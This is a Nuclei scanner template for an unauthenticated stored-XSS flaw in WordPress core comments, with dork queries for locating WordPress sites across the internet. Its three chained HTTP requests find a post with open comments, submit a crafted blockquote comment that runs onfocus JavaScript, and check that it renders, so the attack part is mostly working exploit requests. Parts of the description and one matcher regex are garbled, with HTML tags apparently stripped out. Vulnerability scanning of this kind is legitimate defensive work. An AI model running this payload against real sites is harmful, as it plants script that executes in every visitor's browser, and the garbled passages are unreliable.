id: CVE-2026-93485 info: name: WordPress Core < 7.1.1 - Unauthenticated Stored XSS via Comment (Comment2Shell) author: DhiyaneshDk severity: high description: | WordPress core before 7.1.1 is vulnerable to unauthenticated stored XSS via crafted blockquote comments. wp_kses_post accepts a
with a literal newline in the cite attribute, wpautop's non-quote-aware regex injects ainside the cite value, and wptexturize leaves the attribute open so onfocus/autofocus land on
as real HTML attributes, giving zero-click stored XSS. Only triggers when comments are open and auto-approved. impact: | An unauthenticated attacker can store JavaScript in WordPress comments that executes automatically (zero-click) in every visitor's browser on affected pages. remediation: | Update WordPress to 7.1.1 or a backport release (7.0.5+, 6.9.8+, 6.8.9+, down to 4.7.36+), which makes wpautop's blockquote regex quote-aware. reference: - https://wordpress.org/news/2026/09/wordpress-7-1-1-maintenance-and-security-release/ - https://github.com/686f6c61/POC-WP-CORE-CVE-2026-93485 - https://github.com/DeathShotXD/Comment2Shell - https://www.cve.org/CVERecord?id=CVE-2026-93485 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L cvss-score: 7.1 cve-id: CVE-2026-93485 epss-score: 0.00354 epss-percentile: 0.28798 cwe-id: CWE-79 metadata: verified: true max-request: 3 vendor: wordpress product: wordpress framework: wordpress fofa-query: body="wp-content" && body="wp-json" shodan-query: http.html:"wp-json" http.html:"WordPress" google-query: inurl:"/wp-json/wp/v2/" tags: cve,cve2026,wordpress,xss,stored-xss,comment2shell,unauthenticated,intrusive,vkev variables: marker: "{{randstr}}" flow: http(1) && http(2) && http(3) http: - raw: - | GET /wp-json/wp/v2/posts?per_page=20&_fields=id,comment_status&orderby=date&order=desc HTTP/1.1 Host: {{Hostname}} Accept: application/json matchers-condition: and matchers: - type: word part: body words: - '"comment_status":"open"' internal: true - type: status status: - 200 internal: true extractors: # pick the first post that actually accepts comments, not just the newest - type: json name: post_id part: body json: - '[.[] | select(.comment_status=="open")][0].id' internal: true - raw: - | POST /wp-comments-post.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Referer: {{RootURL}}/?p={{post_id}} Connection: close comment=%3Cblockquote+cite%3D%22a%0Ab%22%3E%3Ccode%3Ex%22+onfocus%3Dalert%28document.domain%29+autofocus+tabindex%3D0%3C%2Fcode%3E%3C%2Fblockquote%3E+{{marker}}&author=nuclei-xss-test&email=test%40example.com&url=&comment_post_ID={{post_id}}&comment_parent=0 matchers: - type: status status: - 302 internal: true - raw: - | GET /?p={{post_id}} HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Connection: close redirects: true max-redirects: 2 matchers-condition: and matchers: - type: regex part: body regex: - ']*cite="[^"]*' - type: word part: body words: - "{{marker}}" - type: status status: - 200 # digest: 490a00463044022066cc42e6775ef4e325a94d271d54d38105a07c8ed85edf67049e6b2d5c944cab0220209211d1bac58af58a79218a97c5476c35182da8b9b213571249422e45bc0cf9:922c64590222798bb761d5b6d8e72950